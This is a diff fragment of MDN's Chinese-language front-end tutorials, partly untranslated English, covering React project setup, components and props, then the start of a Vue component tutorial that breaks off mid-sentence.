包括 npm(Node 程序包管理器)和 npx(Node 程序包运行器)</p> + +<p>您也可以使用 Yarn 软件包管理器作为替代方案,但是我们假设在这套教程中使用 npm。有关 npm 和 yarn 的更多信息,请参见<a href="/zh-CN/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">程序包管理基础</a>。</p> + +<p>如果您使用的是 Windows,则需要安装一些软件以与 Unix/macOS 终端保持同等地位,才能使用本教程中提到的终端命令。<strong>Gitbash</strong>(作为 <a href="https://gitforwindows.org/">git Windows 工具集</a>的一部分提供)或<strong><a href="https://docs.microsoft.com/en-us/windows/wsl/about">适用于 Linux 的 Windows 子系统</a></strong>(<strong>WSL</strong>)均适用。有关这些以及一般终端命令的更多信息,请参见<a href="/zh-CN/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">命令行速成课程</a>。</p> + +<p>还请记住,React 和 ReactDOM 生成的应用程序只能在相当现代的一组浏览器上运行 —— 通过某些 polyfill 可以使用 IE9+。在阅读这些教程时,建议您使用 Firefox,Safari 或 Chrome 等现代浏览器。</p> + +<p>另外,有关更多信息,请参见以下内容:</p> + +<ul> + <li><a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-npm/">"What is npm" on nodejs.org</a></li> + <li><a href="https://blog.npmjs.org/post/162869356040/introducing-npx-an-npm-package-runner">"Introducing npx" on the npm blog</a></li> + <li><a href="https://create-react-app.dev/">The create-react-app documentation</a></li> +</ul> + +<h3 id="初始化您的应用">初始化您的应用</h3> + +<p><code>create-react-app</code> ,该命令接受一个参数:即你想给自己的应用所起的名字。<code>create-react-app</code> 将为此应用创建一个同名的文件夹,并在其中创建所需文件。在你打算放置你的应用程序的文件夹下打开你的命令终端,并键入命令:</p> + +<pre class="brush: bash notranslate">npx create-react-app moz-todo-react</pre> + +<p>这句命令创建了一个名为 <code>moz-todo-react</code> 的文件夹, 并在此文件夹里做了如下工作:</p> + +<ul> + <li>为你的应用程序安装了一些 npm 包;</li> + <li>写入 react 应用启动所需要的脚本文件;</li> + <li>创建一系列结构化的子文件夹和文件,奠定应用程序的基础架构;</li> + <li>如果你的电脑上安装了 git 的话,顺便帮你把 git 仓库也建好。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注意:如果你的电脑上安装了 yarn 的话, create-react-app 会默认使用 yarn 而非 npm。如果你同时安装了 yarn 和 npm ,但你希望使用 npm 的话,在 create-react-app 的时候需要输入 </strong> <code>--use-npm</code><strong> :</strong></p> + +<pre class="brush: bash notranslate">npx create-react-app moz-todo-react --use-npm</pre> +</div> + +<p><code>create-react-app</code> 运行的时候会在终端上显示一些与其状态相关的信息,通常情况下无需为此担心。运行需要一点时间,在此期间你可以适度放松一下。</p> + +<p>处理完成之后,你可以 <code>cd</code> 到 <code>moz-todo-react</code> 文件夹下,然后键入 <code>npm start</code> 命令并回车,先前由 create-react-app 创建的脚本会启动一个地服务 <a href="localhost:3000">localhost:3000</a>,并打开你的默认浏览器来访问这个服务。成功启动浏览器的话,你的浏览器上会显示如下画面:</p> + +<p><img alt="Firefox MacOS的屏幕截图,打开到localhost:3000,显示了默认的create-react-app应用程序" src="https://mdn.mozillademos.org/files/17203/default-create-react-app.png" style="border-style: solid; border-width: 1px; height: 980px; width: 1600px;"></p> + +<h3 id="应用结构">应用结构</h3> + +<p>create-react-app 提供了开发React应用所需的工具。它的初始文件结构如下:</p> + +<pre class="notranslate">moz-todo-react +├── README.md +├── node_modules +├── package.json +├── package-lock.json +├── .gitignore +├── public +│ ├── favicon.ico +│ ├── index.html +│ └── manifest.json +└── src + ├── App.css + ├── App.js + ├── App.test.js + ├── index.css + ├── index.js + ├── logo.svg + └── serviceWorker.js</pre> + +<p>目录 <strong><code>src</code></strong> 是我们花费时间最多的地方,因为它是我们React应用源码存放的目录。</p> + +<p>目录 <strong><code>public</code></strong> 包含了开发应用时浏览器会读取的文件,其中最重要的就是 <code>index.html</code>。React将目录 <strong><code>src</code></strong> 中的代码嵌入这个文件,从而浏览器才能运行此文件。 <code>index.html</code>中的有些内容关乎create-react-app的运作,因此除非你知道自己在做什么样的修改,否则不建议编辑这个文件。当然,你可以修改<code>index.html</code>中的 <code><a href="/en-US/docs/Web/HTML/Element/title"><title></a></code> 元素的内容来表现此应用程序通俗易懂的名称。</p> + +<p>目录 <code>public</code> 会在建立并部署此应用的时候更新。此教程不涉及部署,你可以参考 <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Deploying our app</a> 这一篇教程。</p> + +<p>文件 <code>package.json</code> 包含了Node.js/npm为了建立该应用程序所管理着的文件信息。这个文件不是React应用独有的。你无需理解这个文件也能看懂这篇教程。 不过,如果你想了解更多,你可以阅读 <a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/">What is the file `package.json`? on NodeJS.org</a> 和 <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a>。</p> + +<h2 id="探索第一个_React_组件_—_<App>">探索第一个 React 组件 — <code><App/></code></h2> + +<p>在React中,组件是组成应用程序的可重复利用的模块。组件可大可小,但它们都只有单一的、明确的功能。</p> + +<p>打开 <code>src/App.js</code>,之前打开的页面也提示我们对这个文件进行编辑。这个文件包含了我们第一个组件 <code>App</code>,内容如下:</p> + +<pre class="brush: js notranslate">import React from 'react'; +import logo from './logo.svg'; +import './App.css'; + +function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a + className="App-link" + href="https://reactjs.org" + target="_blank" + rel="noopener noreferrer" + > + Learn React + </a> + </header> + </div> + ); +} +export default App;</pre> + +<p>文件 <code>App.js</code> 主要由三部分组成: 顶部的 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> 语句, 中间的 <code>App</code> 组件,以及底部的 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> 语句。大多数React组件都遵循这个模式。</p> + +<h3 id="import_语句">import 语句</h3> + +<p>脚本开头的 <code>import</code> 语句允许在此脚本中使用其他文件中的代码,让我们更进一步地了解这些语句。</p> + +<pre class="brush: js notranslate">import React from 'react'; +import logo from './logo.svg'; +import './App.css';</pre> + +<p>第一句代码引入了 React 库,这是为了将代码中的 JSX 语句转为<code>React.createElement()</code>,所有的 React 模块都应该引入 React 模块,否则会抛错。</p> + +<p>第二句代码引入了 <code>.'/logo.svg'</code>。注意文件路径以 <code>./</code> 开头、由 <code>.svg</code> 尾——表明这是一个本地文件,并且它不是 JavaScript 文件。</p> + +<div class="blockIndicator note"> +<p>我们没有指定 React 模块的路径——表明它并非来自本地文件,而是在 <code>package.json</code> 文件中列为依赖项。在整个学习过程中,请务必留心这两种引入方式的不同之处。</p> +</div> + +<p>第三行引入了我们的组件所需的 CSS 文件。与上面两句不同,这里没有将引入的内容赋给任何变量、也没有用到 <code>from</code> 指令。请注意这种特殊的语法并非原生 JS 的语法 —— 它源自前端资源打包工具 webpack,而 create-react-app 正是基于 webpack 配置而来的。</p> + +<div class="blockIndicator note"> +<p>译者补充:webpack 可用于打包 JS 和非 JS 的内容(当然,非 JS 的内容需要一些插件或加载器来处理),但是 JavaScript 标准只有关于 JS 的内容,所以 webpack 社区使用这种特殊的 `import` 语句来声明对非 JS 内容的引用。</p> + +<p>详情参见 webpack 官方和社区,截止目前(2020年下旬),webpack 仍是现代前端工作中必不可少的技能之一。</p> +</div> + +<h3 id="App_组件"><code>App</code> 组件</h3> + +<div class="hidden"> +<p>在 import 所需资源之后,我们定义了一个名为 App 的函数,尽管大部分 JavaScript 社区推崇使用camel命名法,如:“helloWorld”。但React组件使用pascal变量命名法,如“HelloWorld”,来帮助用户辨认一个JSX元素是React组件而非普通的HTML标签。如果您将函数名“App”改为“app”,您的浏览器会显示错误。(时间不够,先翻译到这里了)</p> +</div> + +<p>After the imports, we have a function named <code>App</code>. Whereas most of the JavaScript community prefers camel-case names like <code>helloWorld</code>, React components use pascal-case variable names, like <code>HelloWorld</code>, to make it clear that a given JSX element is a React component, and not a regular HTML tag. If you were to rename the <code>App</code> function to <code>app</code>, your browser would show you an error.</p> + +<p>让我们进一步看下App方法。</p> + +<pre class="brush: js notranslate">function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a + className="App-link" + href="https://reactjs.org" + target="_blank" + rel="noopener noreferrer" + > + Learn React + </a> + </header> + </div> + ); +}</pre> + +<p>App方法返回一个JSX表达式,这个表达式定义了浏览器最终要渲染的DOM。</p> + +<p>表达式中的元素就像以前写的HTML一样,都拥有属性。</p> + +<p>Some elements in the expression have attributes, which are written just like in HTML, following a pattern of <code>attribute="value"</code>. On line 3, the opening <code><a href="/en-US/docs/Web/HTML/Element/div"><div></a></code> tag has a <code>className</code> attribute. This the same as the <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code> attribute in HTML, but because JSX is JavaScript, we can't use the word <code>class</code> – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them.</p> + +<p>Take a moment to change the <code><a href="/en-US/docs/Web/HTML/Element/p"><p></a></code> tag on line 6 so that it reads "Hello, world!", then save your file. You'll notice that this change is immediately rendered in the development server running at <code>http://localhost:3000</code> in your browser. Now delete the <code><a href="/en-US/docs/Web/HTML/Element/a"><a></a></code> tag and save; the "Learn React" link will be gone.</p> + +<p>Your <code>App</code> component should now look like this:</p> + +<pre class="brush: js notranslate">function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, World! + </p> + </header> + </div> + ); +}</pre> + +<h3 id="Export_statements">Export statements</h3> + +<p>At the very bottom of the <code>App.js</code> file, the statement <code>export default App</code> makes our <code>App</code> component available to other modules.</p> + +<h2 id="Interrogating_the_index">Interrogating the index</h2> + +<p>Let’s open <code>src/index.js</code>, because that's where the <code>App</code> component is being used. This file is the entry point for our app, and it initially looks like this:</p> + +<pre class="brush: js notranslate">import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; +import * as serviceWorker from './serviceWorker'; + +ReactDOM.render(<App />, document.getElementById('root')); + +// If you want your app to work offline and load faster, you can change +// unregister() to register() below. Note this comes with some pitfalls. +// Learn more about service workers: https://bit.ly/CRA-PWA +serviceWorker.unregister();</pre> + +<p>As with <code>App.js</code>, the file starts by importing all the JS modules and other assets it needs to run. <code>src/index.css</code> holds global styles that are applied to our whole app. We can also see our <code>App</code> component imported here; it is made available for import thanks to the <code>export</code> statement at the bottom of <code>App.js</code>.</p> + +<p>Line 7 calls React’s <code>ReactDOM.render()</code> function with two arguments:</p> + +<ul> + <li>The component we want to render, <code><App /></code> in this case.</li> + <li>The DOM element inside which we want the component to be rendered, in this case the element with an ID of <code>root</code>. If you look inside <code>public/index.html</code>, you'll see that this is a <code><div></code> element just inside the <code><body></code>.</li> +</ul> + +<p>All of this tells React that we want to render our React application with the <code>App</code> component as the root, or first component.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: In JSX, React components and HTML elements must have closing slashes. Writing just <code><App></code> or just <code><img></code> will cause an error.</p> +</div> + +<p><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article. You can delete line 5, as well as lines 9 through 12.</p> + +<p>Your final <code>index.js</code> file should look like this:</p> + +<pre class="brush: js notranslate">import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; + +ReactDOM.render(<App />, document.getElementById('root'));</pre> + +<h2 id="Variables_and_props">Variables and props</h2> + +<p>Next, we'll use a few of our JavaScript skills to get a bit more comfortable editing components and working with data in React. We'll talk about how variables are used inside JSX, and introduce props, which are a way of passing data into a component (which can then be accessed using variables).</p> + +<h3 id="Variables_in_JSX">Variables in JSX</h3> + +<p>Back in <code>App.js</code>, let’s focus on line 9:</p> + +<pre class="brush: js notranslate"><img src={logo} className="App-logo" alt="logo" /></pre> + +<p>Here, the <code><img /></code> tag's <code>src</code> attribute value is in curly braces. This is how JSX recognizes variables. React will see <code>{logo}</code>, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it.</p> + +<p>Let's try making a variable of our own. Before the return statement of <code>App</code>, add <code>const subject = 'React';</code>. Your <code>App</code> component should now look like this:</p> + +<pre class="brush: js notranslate">function App() { + const subject = "React"; + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, World! + </p> + </header> + </div> + ); +}</pre> + +<p>Change line 8 to use our <code>subject</code> variable instead of the word "world", like this:</p> + +<pre class="brush: js notranslate">function App() { + const subject = "React"; + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, {subject}! + </p> + </header> + </div> + ); +}</pre> + +<p>When you save, your browser should display "Hello, React!" instead of "Hello, world!"</p> + +<p>Variables are convenient, but the one we've just set doesn’t make great use of React's features. That's where props come in.</p> + +<h3 id="Component_props">Component props</h3> + +<p>A <strong>prop</strong> is any data passed into a React component. Props are written inside component calls, and use the same syntax as HTML attributes — <code>prop="value"</code>. Let’s open <code>index.js</code> and give our <code><App/></code> call its first prop.</p> + +<p>Add a prop of <code>subject</code> to the <code><App/></code> component call, with a value of <code>Clarice</code>. When you are done, your code should look something like this:</p> + +<pre class="brush: js notranslate">ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));</pre> + +<p>Back in <code>App.js</code>, let's revisit the App function itself, which reads like this (with the <code>return</code> statement shortened for brevity):</p> + +<pre class="brush: js notranslate">function App() { + const subject = "React"; + return ( + // return statement + ); +}</pre> + +<p>Change the signature of the <code>App</code> function so that it accepts <code>props</code> as a parameter. Just like any other parameter, you can put <code>props</code> in a <code>console.log()</code> to read it out to your browser's console. Go ahead and do that after your <code>subject</code> constant but before the <code>return</code> statement, like so:</p> + +<pre class="brush: js notranslate">function App(props) { + const subject = "React"; + console.log(props); + return ( + // return statement + ); +}</pre> + +<p>Save your file and check your browser's JavaScript console. You should see something like this logged:</p> + +<pre class="brush: js notranslate">Object { subject: "Clarice" }</pre> + +<p>The object property <code>subject</code> corresponds to the <code>subject</code> prop we added to our <code><App /></code> component call, and the string <code>Clarice</code> corresponds to its value. Component props in React are always collected into objects in this fashion.</p> + +<p>Now that <code>subject</code> is one of our props, let's utilize it in <code>App.js</code>. Change the <code>subject</code> constant so that, instead of defining it as the string <code>React</code>, you are reading the value of <code>props.subject</code>. You can also delete your <code>console.log()</code> if you want.</p> + +<pre class="brush: js notranslate">function App(props) { + const subject = props.subject; + return ( + // return statement + ); +}</pre> + +<p>When you save, the the app should now greet you with "Hello, Clarice!". If you return to <code>index.js</code>, edit the value of <code>subject</code>, and save, your text will change.</p> + +<h2 id="Summary">Summary</h2> + +<p>This brings us to the end of our initial look at React, including how to install it locally, creating a starter app, and how the basics work. In the next article we'll start building our first proper application — a todo list. Before we do that, however, let's recap some of the things we’ve learned.</p> + +<p>In React:</p> + +<ul> + <li>Components can import modules they need, and must export themselves at the bottom of their files.</li> + <li>Component functions are named with <code>PascalCase</code>.</li> + <li>You can read JSX variables by putting them between curly braces, like <code>{so}</code>.</li> + <li>Some JSX attributes are different to HTML attributes, so that they don't conflict with JavaScript reserved words. For example, <code>class</code> in HTML translates to <code>className</code> in JSX. Note that multi-word attributes are camel-cased.</li> + <li>Props are written just like attributes inside component calls, and are passed into components.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing"><font><font>在Ember中路由</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember资源和故障排除</a></li> + </ul> + </li> + <li><font><font>Vue</font></font> + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started"><font><font>Vue入门</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component"><font><font>创建我们的第一个Vue组件</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists"><font><font>渲染Vue组件列表</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models"><font><font>添加新的待办事项表单:Vue事件,方法和模型</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling"><font><font>使用CSS样式化Vue组件</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties"><font><font>使用Vue计算的属性</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering"><font><font>Vue条件渲染:编辑现有待办事项</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management"><font><font>使用Vue裁判进行焦点管理</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources"><font><font>Vue资源</font></font></a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html new file mode 100644 index 0000000000..feef3ef243 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html @@ -0,0 +1,384 @@ +--- +title: 创建第一个Vue组件 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">现在是时候深入了解Vue,并创建我们自己的自定义组件了--我们将从创建一个组件来表示待办事项列表中的每个项目开始。在这一过程中,我们将学习一些重要的概念,例如在其他组件中调用组件,通过道具向它们传递数据,以及保存数据状态。</p> + +<div class="blockIndicator note"> +<p class="summary"><strong>注意</strong>: 如果你需要根据我们的版本检查您的代码, 你可以在我们的<a href="https://github.com/mdn/todo-vue"> todo-vue</a> 仓库找到中找到示例 Vue 程序代码的完成版本。 有关运行中的实时版本,请参见 <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>熟悉<a href="https://wiki.developer.mozilla.org/zh-CN/docs/learn/HTML">HTML</a>、<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS">CSS</a>、<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/JavaScript">JavaScript</a>核心语言,了解<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">终端或命令行</a>。</p> + + <p>Vue组件是由管理应用程序数据的JavaScript对象和映射到基础DOM结构的基于HTML的模板语法组成的。对于安装,以及使用Vue的一些更高级的功能(如单文件组件或渲染函数),你需要一个安装了node和npm的终端。</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何创建一个Vue组件,将其渲染到另一个组件中,使用<a href="https://vuejs.org/v2/api/#props">props</a>将数据传递到组件中,并保存其状态。</td> + </tr> + </tbody> +</table> + +<h2 id="创建一个ToDoItem组件">创建一个ToDoItem组件</h2> + +<p>让我们创建第一个组件,它将显示一个单一的待办事项。我们将用它来建立我们的待办事项列表。</p> + +<ol> + <li>在你的<code>moz-todo-vue/src/components</code>目录下,创建一个<code>ToDoItem.vue</code>的新文件。在你的代码编辑器中打开该文件。</li> + <li>通过在文件顶部添加<code><template></template></code>来创建组件的模板部分。</li> + <li>在你的模板部分下面创建一个<code><script></script></code>部分。在<code><script></code>标签内,添加一个默认导出对象<code>export default {}</code>,这是你的组件对象。</li> +</ol> + +<p>你的文件现在应该是这样的:</p> + +<pre class="brush: html notranslate"><template> </template> +<script> + export default {}; +</script></pre> + +<p>现在我们可以开始为<code>ToDoItem</code>添加实际内容了。Vue模板目前只允许一个根元素--一个元素需要包裹模板内的所有内容(Vue 3 发布后会改变这种情况)。我们将为该根元素使用一个<code><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTML/Element/div"><div></a></code>。</p> + +<ol> + <li> + <p>现在在你的组件模板中添加一个空的<code><div></code>。</p> + </li> + <li> + <p>在那个<code><div></code>里面,让我们添加一个<code>checkbox</code>和一个对应的<code>label</code>。给复选框添加一个<code>id</code>,并添加一个<code>for</code>属性,将复选框映射到标签上,如下图所示。.</p> + + <pre class="brush: html notranslate"><template> + <div> + <input type="checkbox" id="todo-item" checked="false" /> + <label for="todo-item">My Todo Item</label> + </div> +</template></pre> + </li> +</ol> + +<h3 id="在应用程序中使用TodoItem组件">在应用程序中使用TodoItem组件</h3> + +<p>这一切都很顺利,但我们还没有将组件添加到我们的应用程序中,所以没有办法测试它,看看一切是否正常。我们现在就把它添加进去吧。</p> + +<ol> + <li> + <p>再次打开<code>App.vue</code>文件。</p> + </li> + <li> + <p>在<code><script></code>标签的顶部,添加以下内容来引入<code>ToDoItem</code>组件:</p> + + <pre class="brush: js notranslate">import ToDoItem from './components/ToDoItem.vue';</pre> + </li> + <li> + <p>在你的组件对象里面,添加 <code>components</code> 属性,然后在它里面添加您的ToDoItem组件进行注册。</p> + </li> +</ol> + +<p>你的<code><script></code>内容现在应该是这样的:</p> + +<pre class="brush: js notranslate">import ToDoItem from './components/ToDoItem.vue'; + +export default { + name: 'app', + components: { + ToDoItem + } +};</pre> + +<p>这和之前Vue CLI注册<code>HelloWorld</code>组件的方式是一样的。</p> + +<p>要在应用程序中实际展示<code>ToDoItem</code>组件,你需要在<code><template></code>模板内添加一个<code><to-do-item>/to-do-item></code>元素。请注意,组件文件名及其在JavaScript中的表示方式总是用大写驼色(例如<code>ToDoList</code>),而等价的自定义元素总是用连字符小写(例如<code><to-do-list></code>)。</p> + +<ol> + <li>在<code><h1></code>下面,创建一个无序列表(<code><ul></code>),其中包含一个列表项(<code><li></code>)。</li> + <li>在列表项(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><li></span></font>)里面添加<code><to-do-item></to-do-item></code>.</li> +</ol> + +<p>你的<code>App.vue</code>的<code><template></code>内容现在应该是这样的:</p> + +<pre class="brush: html notranslate"><div id="app"> + <h1>To-Do List</h1> + <ul> + <li> + <to-do-item></to-do-item> + </li> + </ul> +</div></pre> + +<p>如果你再次查看你的应用程序的渲染情况,你现在应该看的到渲染的<code>ToDoItem</code>组件,由一个复选框和一个标签组成。</p> + +<p><img alt="The current rendering state of the app, which includes a title of To-Do List, and a single checkbox and label" src="https://mdn.mozillademos.org/files/17243/rendered-todoitem.png" style="border-style: solid; border-width: 1px; display: block; height: 142px; margin: 0 auto; width: 385px;"></p> + +<h2 id="Making_components_dynamic_with_props">Making components dynamic with props</h2> + +<p>Our <code>ToDoItem</code> component is still not very useful because we can only really include this once on a page (IDs need to be unique), and we have no way to set the label text. Nothing about this is dynamic.</p> + +<p>What we need is some component state. This can be achieved by adding props to our component. You can think of props as being similar to inputs in a function. The value of a prop gives components an initial state that affects their display.</p> + +<h3 id="Registering_props">Registering props</h3> + +<p>In Vue, there are two ways to register props:</p> + +<ul> + <li>The first way is to just list props out as an array of strings. Each entry in the array corresponds to the name of a prop.</li> + <li>The second way is to define props as an object, with each key corresponding to the prop name. Listing props as an object allows you to specify default values, mark props as required, perform basic object typing (specifically around JavaScript primitive types), and perform simple prop validation.</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Prop validation only happens in development mode, so you can't strictly rely on it in production. Additionally, prop validation functions are invoked before the component instance is created, so they do not have access to the component state (or other props).</p> +</div> + +<p>For this component, we’ll use the object registration method.</p> + +<ol> + <li>Go back to your <code>ToDoItem.vue</code> file.</li> + <li>Add a <code>props</code> property inside the export <code>default {}</code> object, which contains an empty object.</li> + <li>Inside this object, add two properties with the keys <code>label</code> and <code>done</code>.</li> + <li>The <code>label</code> key's value should be an object with 2 properties (or <strong>props</strong>, as they are called in the context of being available to the components). + <ol> + <li>The first is a <code>required</code> property, which will have a value of <code>true</code>. This will tell Vue that we expect every instance of this component to have a label field. Vue will warn us if a <code>ToDoItem</code> component does not have a label field.</li> + <li>The second property we'll add is a <code>type</code> property. Set the value for this property as the JavaScript <code>String</code> type (note the capital "S"). This tells Vue that we expect the value of this property to be a string.</li> + </ol> + </li> + <li>Now on to the <code>done</code> prop. + <ol> + <li>First add a <code>default</code> field, with a value of <code>false</code>. This means that when no <code>done</code> prop is passed to a <code>ToDoItem</code> component, the <code>done</code> prop will will have a value of false (bear in mind that this is not required — we only need <code>default</code> on non-required props).</li> + <li>Next add a <code>type</code> field with a value of <code>Boolean</code>. This tells Vue we expect the value prop to be a JavaScript boolean type.</li> + </ol> + </li> +</ol> + +<p>Your component object should now look like this:</p> + +<pre class="brush: js notranslate"><script> + export default { + props: { + label: { required: true, type: String }, + done: { default: false, type: Boolean } + } + }; +</script></pre> + +<h3 id="Using_registered_props">Using registered props</h3> + +<p>With these props defined inside the component object, we can now use these variable values inside our template. Let's start by adding the <code>label</code> prop to the component template.</p> + +<p>In your <code><template></code>, replace the contents of the <code><label></code> element with <code>\{{label}}</code>.</p> + +<p><code>\{{}}</code> is a special template syntax in Vue, which lets us print the result of JavaScript expressions defined in our class, inside our template, including values and methods. It’s important to know that content inside <code>\{{}}</code> is displayed as text and not HTML. In this case, we’re printing the value of the <code>label</code> prop.</p> + +<p>Your component’s template section should now look like this:</p> + +<pre class="brush: html notranslate"><template> + <div> + <input type="checkbox" id="todo-item" checked="false" /> + <label for="todo-item">\{{label}}</label> + </div> +</template></pre> + +<p>Go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). Go to your browser's DevTools and you’ll see a warning along these lines in the console:</p> + +<pre class="notranslate">[Vue warn]: Missing required prop: "label" + +found in + +---> <ToDoItem> at src/components/ToDoItem.vue + <App> at src/App.vue + <Root> +</pre> + +<p>This is because we marked the <code>label</code> as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. Let’s fix that.</p> + +<p>Inside your <code>App.vue </code>file, add a <code>label</code> prop to the <code><to-do-item></to-do-item></code> component, just like a regular HTML attribute:</p> + +<pre class="brush: html notranslate"><to-do-item label="My ToDo Item"></to-do-item></pre> + +<p>Now you'll see the label in your app, and the warning won't be spat out in the console again.</p> + +<p>So that's props in a nutshell. Next we'll move on to how Vue persists data state.</p> + +<h2 id="Vues_data_object">Vue's data object</h2> + +<p>If you change the value of the <code>label</code> prop passed into the <code><to-do-item></to-do-item></code> call in your App component, you should see it update. This is great. We have a checkbox, with an updatable label. However, we're currently not doing anything with the "done" prop — we can check the checkboxes in the UI, but nowhere in the app are we recording whether a todo item is actually done.</p> + +<p>To achieve this, we want to bind the component's <code>done</code> prop to the <code>checked</code> attribute on the <code><a href="/en-US/docs/Web/HTML/Element/input"><input></a></code> element, so that it can 